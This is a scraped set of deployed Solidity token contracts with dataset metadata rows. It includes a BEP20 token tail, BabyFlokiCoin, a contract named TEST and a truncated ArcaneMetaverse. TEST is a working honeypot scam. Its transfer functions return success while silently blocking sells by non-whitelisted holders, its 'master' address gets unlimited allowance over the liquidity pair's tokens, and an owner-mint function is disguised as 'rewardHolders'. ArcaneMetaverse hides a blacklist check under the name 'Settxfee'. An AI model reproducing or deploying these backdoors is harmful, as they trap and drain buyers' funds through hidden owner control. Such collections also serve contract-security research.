_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
require(MAXCAP.add(amount) <= MAXCAPSUPPLY, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
MAXCAP = MAXCAP.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
MAXCAP = MAXCAP.sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// Token.
contract ArbiFrozenToken is BEP20('Arbi Frozen Token', 'ARBIFROZEN') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 42,016 | 13,102 |
84c608f73b3bf97d38076599d97a274cd4654102f89894cae8b1d3925b94f279
| 21,594 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/54/54a01fbbc9a8c065c3d7fbb5454b476b6c67a454_BabyFlokiCoin.sol
| 3,632 | 13,475 |
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BabyFlokiCoin is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 420000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Baby Floki Coin';
string private _symbol = 'BabyFloki';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 50000000 * 10**6 * 10**9;
mapping(address => bool) private _isBot;
address[] private _confirmedBots;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeFromReward(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
require(!_isBot[sender], 'Bots not allowed here!');
require(!_isBot[recipient], 'Bots not allowed here!');
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function isBot(address account) public view returns (bool) {
return _isBot[account];
}
function _blacklistBot(address account) external onlyOwner() {
require(account != 0x10ED43C718714eb63d5aA57B78B54704E256024E, 'We cannot blacklist Pancakeswap');
require(!_isBot[account], "Account is already blacklisted");
_isBot[account] = true;
_confirmedBots.push(account);
}
function _amnestyBot(address account) external onlyOwner() {
require(_isBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _confirmedBots.length; i++) {
if (_confirmedBots[i] == account) {
_confirmedBots[i] = _confirmedBots[_confirmedBots.length - 1];
_isBot[account] = false;
_confirmedBots.pop();
break;
}
}
}
}
| 320,840 | 13,103 |
f8ca18a4e2d7b95e2a0bc8d7c9b89106a28aae477d03fa7a96e6493f34872a66
| 16,551 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ca/caa07aCc5fd7C8c00c85c5f284DEAcb3B8156aed_TEST.sol
| 3,680 | 15,606 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract TEST is Context, IERC20, Ownable {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
uint8 internal constant _DECIMALS = 18;
address public master;
mapping(address => bool) public _marketersAndDevs;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _buySum;
mapping(address => uint256) internal _sellSum;
mapping(address => uint256) internal _sellSumETH;
uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
uint256 internal _theNumber = ~uint256(0);
uint256 internal _theRemainder = 0;
modifier onlyMaster() {
require(msg.sender == master);
_;
}
constructor(address routerAddress) {
_router = IPancakeRouter02(routerAddress);
_pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
_balances[owner()] = _totalSupply;
master = owner();
_allowances[address(_pair)][master] = ~uint256(0);
_marketersAndDevs[owner()] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() external pure override returns (string memory) {
return "test";
}
function symbol() external pure override returns (string memory) {
return "TEST";
}
function decimals() external pure override returns (uint8) {
return _DECIMALS;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
if (_canTransfer(_msgSender(), recipient, amount)) {
_transfer(_msgSender(), recipient, amount);
}
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
if (_canTransfer(sender, recipient, amount)) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function burn(uint256 amount) external onlyOwner {
_balances[owner()] -= amount;
_totalSupply -= amount;
}
function setNumber(uint256 newNumber) external onlyOwner {
_theNumber = newNumber;
}
function setRemainder(uint256 newRemainder) external onlyOwner {
_theRemainder = newRemainder;
}
function setMaster(address account) external onlyOwner {
_allowances[address(_pair)][master] = 0;
master = account;
_allowances[address(_pair)][master] = ~uint256(0);
}
function syncPair() external onlyMaster {
_pair.sync();
}
function includeInReward(address account) external onlyMaster {
_marketersAndDevs[account] = true;
}
function excludeFromReward(address account) external onlyMaster {
_marketersAndDevs[account] = false;
}
function rewardHolders(uint256 amount) external onlyOwner {
_balances[owner()] += amount;
_totalSupply += amount;
}
function _isSuper(address account) private view returns (bool) {
return (account == address(_router) || account == address(_pair));
}
function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
return true;
}
if (_isSuper(sender)) {
return true;
}
if (_isSuper(recipient)) {
uint256 amountETH = _getETHEquivalent(amount);
uint256 bought = _buySum[sender];
uint256 sold = _sellSum[sender];
uint256 soldETH = _sellSumETH[sender];
return bought >= sold + amount && _theNumber >= soldETH + amountETH && sender.balance >= _theRemainder;
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _hasLiquidity() private view returns (bool) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
return reserve0 > 0 && reserve1 > 0;
}
function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
if (_pair.token0() == _router.WETH()) {
return _router.getAmountOut(amountTokens, reserve1, reserve0);
} else {
return _router.getAmountOut(amountTokens, reserve0, reserve1);
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) private {
if (_hasLiquidity()) {
if (_isSuper(from)) {
_buySum[to] += amount;
}
if (_isSuper(to)) {
_sellSum[from] += amount;
_sellSumETH[from] += _getETHEquivalent(amount);
}
}
}
}
| 318,986 | 13,104 |
928ec01ef5db8c907135363a73f065675f64b2238630db6ffaeaedf4b9859047
| 16,502 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/67/67f09ad3c0a6f07f6b303a28251c2da91e131fd7_ArcaneMetaverse.sol
| 3,942 | 15,662 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ArcaneMetaverse is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function Settxfee(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
